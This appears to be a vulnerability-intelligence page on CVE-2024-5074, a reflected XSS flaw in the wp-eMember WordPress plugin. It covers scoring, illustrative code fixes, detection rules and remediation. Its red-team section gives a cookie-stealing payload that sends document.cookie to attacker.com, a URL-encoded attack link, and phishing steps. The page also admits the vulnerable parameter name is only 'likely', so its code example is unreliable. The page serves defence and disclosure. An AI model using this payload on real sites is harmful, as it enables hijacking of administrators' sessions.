CVE-2024-5074
Executive Summary
CVE-2024-5074 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the wp-eMember WordPress plugin, a membership management solution for the WordPress ecosystem. The flaw exists in versions prior to 10.6.6, where the plugin fails to properly sanitize and escape a parameter before outputting it back in the page. This allows an attacker to inject arbitrary JavaScript code, which executes in the context of the victim's browser. The vulnerability is particularly dangerous because it can be used against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or full site compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The wp-eMember plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk if they are running a version below 10.6.6. The supply chain risk is moderate, as the plugin is widely used for membership management, and the vulnerability can be exploited without authentication.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Calculated: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction but can target high-privilege users, making it a viable vector for privilege escalation and lateral movement.
Deep Dive & Mechanics
The vulnerability resides in the wp-eMember plugin's handling of a specific parameter (likely emember_action or a similar GET/POST parameter). The plugin takes this parameter and outputs it directly into the HTML response without proper sanitization or escaping. This allows an attacker to craft a URL containing malicious JavaScript code in the parameter value.
Attack Flow:
- Attacker crafts a malicious URL:
https://target-site.com/?emember_action=<script>alert('XSS')</script> - Attacker sends this URL to a victim (e.g., via phishing email, social media, or forum post).
- Victim, logged into WordPress with admin privileges, clicks the link.
- The plugin processes the request and outputs the unsanitized parameter into the page.
- The injected JavaScript executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a malicious site.
Why High Privilege Users Are Targeted: The vulnerability is reflected, meaning the payload is not stored. However, by targeting admins, an attacker can leverage the admin's session to create new admin accounts, install malicious plugins, or exfiltrate sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (version < 10.6.6):
// In a function that handles the parameter
$action = $_GET['emember_action'];
echo "<div class='emember-message'>$action</div>";
Patched Code (version 10.6.6):
// Properly escape the output
$action = sanitize_text_field($_GET['emember_action']);
echo "<div class='emember-message'>" . esc_html($action) . "</div>";
The patch uses sanitize_text_field() to strip malicious input and esc_html() to escape HTML entities before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site running wp-eMember < 10.6.6.
- A victim user with admin privileges who will click the crafted link.
Exploit Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Crafted URL:
https://target-site.com/?emember_action=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- URL-encode the payload for reliability:
https://target-site.com/?emember_action=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E - Send the link to the victim via email or social engineering.
- Set up a listener on
attacker.comto capture the cookie. - Once the victim clicks, the cookie is exfiltrated.
Blue Team (Detection & Response)
Detection Steps:
- Monitor web server logs for requests containing
emember_actionwith suspicious patterns (e.g.,<script>,onerror=,javascript:). - Use WAF rules to block requests with XSS payloads in the
emember_actionparameter. - Alert on any admin user accessing URLs with
emember_actionparameter.
Response:
- Immediately isolate the affected WordPress instance.
- Review admin user sessions for unauthorized activity.
- Rotate all admin credentials and API keys.
- Apply the patch by upgrading to wp-eMember 10.6.6.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to the WordPress site with
emember_actionparameter containing<script>tags or JavaScript event handlers. - Outbound connections from the WordPress server to unknown domains (potential data exfiltration).
- HTTP requests to the WordPress site with
- File IOCs:
- Modified
.htaccessfiles (if attacker gained admin access). - New admin users in the
wp_userstable.
- Modified
- Log IOCs:
- Repeated 200 responses to URLs with
emember_actionparameter. - User agent strings associated with known XSS exploitation tools.
- Repeated 200 responses to URLs with
Detection Engineering
YARA Rule
rule CVE_2024_5074_XSS_Detection {
meta:
description = "Detects XSS payloads targeting CVE-2024-5074 in wp-eMember plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5074"
strings:
$xss_payload = /emember_action=.*<script[^>]*>.*<\/script>/i
$xss_event = /emember_action=.*on\w+\s*=/i
$xss_js = /emember_action=.*javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-5074 Reflected XSS in wp-eMember Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains: 'emember_action='
cs-uri-query|re: '(<script|on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of the parameter with safe values (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5074 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"emember_action="; http_uri; pcre:"/emember_action=.*(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the plugin: Update wp-eMember to version 10.6.6 or later from the WordPress plugin repository.
- Apply WAF rules: Block requests containing XSS patterns in the
emember_actionparameter. - Review admin accounts: Check for unauthorized admin users and rotate all admin passwords.
Long-Term Mitigations:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit WordPress plugins for vulnerabilities.
- Use a Web Application Firewall (WAF) with XSS protection rules.
- Educate users about phishing attacks targeting admin credentials.
Patch Verification:
- After updating, verify the plugin version in the WordPress admin dashboard.
- Test the vulnerable parameter to ensure it is now sanitized.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.